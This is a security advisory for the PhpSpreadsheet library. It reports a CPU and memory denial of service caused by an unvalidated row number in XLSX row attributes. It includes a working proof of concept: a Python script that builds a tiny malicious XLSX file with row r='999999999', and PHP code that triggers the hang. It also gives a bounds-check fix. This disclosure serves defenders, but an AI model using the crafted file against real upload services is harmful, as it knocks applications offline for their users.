PhpSpreadsheet: CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

• CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
• Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
• Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
• Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.